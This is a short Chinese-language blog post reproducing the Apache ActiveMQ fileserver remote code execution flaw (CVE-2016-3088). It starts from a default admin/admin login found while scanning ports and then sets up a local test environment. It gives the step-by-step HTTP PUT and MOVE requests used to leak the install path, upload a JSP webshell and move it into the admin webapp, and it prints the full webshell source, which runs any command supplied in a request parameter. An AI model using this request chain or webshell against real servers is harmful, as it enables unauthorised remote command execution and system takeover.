標籤:com win32 move null 遠程 bsh detail files color
掃連接埠的時候遇到8161連接埠,輸入admin/admin,成功登陸,之前就看到過相關文章,PUT了一句話上去,但是沒有什麼效果,於是本地搭建了一個環境,記錄一下測試過程。
環境搭建:
ActiveMQ 5.1.0 :http://activemq.apache.org/activemq-510-release.html
解壓後,雙擊運行abtivemq.bat運行。(進入bin目錄,根據自己的作業系統選擇win32或win64,5.1.0隻有win32目錄)
訪問8161連接埠:
漏洞利用:
1、 擷取實體路徑
PUT /fileserver/%20/%20 HTTP/1.1
2、PUT 一個 Jsp 的 Webshell 到 fileserver 目錄
PUT /fileserver/1.jsp HTTP/1.1
jsp webshell,可以執行,嘗試上傳了收集的一些木馬,都報錯了。。。
<%@ page import="java.io.*"%><% out.print("Hello</br>"); String strcmd = request.getParameter("cmd"); String line =null; Process p=Runtime.getRuntime().exec(strcmd); InputStream is = p.getInputStream(); BufferedReader br = new BufferedReader(new InputStreamReader(is)); while((line =br.readLine())!=null){ out.print(line+"<br>"); }%>
3、利用 MOVE 方法將 Webshell 移入 admin/ 目錄
MOVE /fileserver/1.jsp HTTP/1.0Destination:file://C:\activemq\webapps\admin\11.jsp
4、成功執行webshell許可權
參考文章:
ActiveMQ安裝部署(Windows) http://blog.csdn.net/clj198606061111/article/details/38145597
Apache ActiveMQ Fileserver遠程代碼執行漏洞(CVE-2016-3088) https://www.seebug.org/vuldb/ssvid-96268
Apache ActiveMQ Fileserver遠程代碼執行漏洞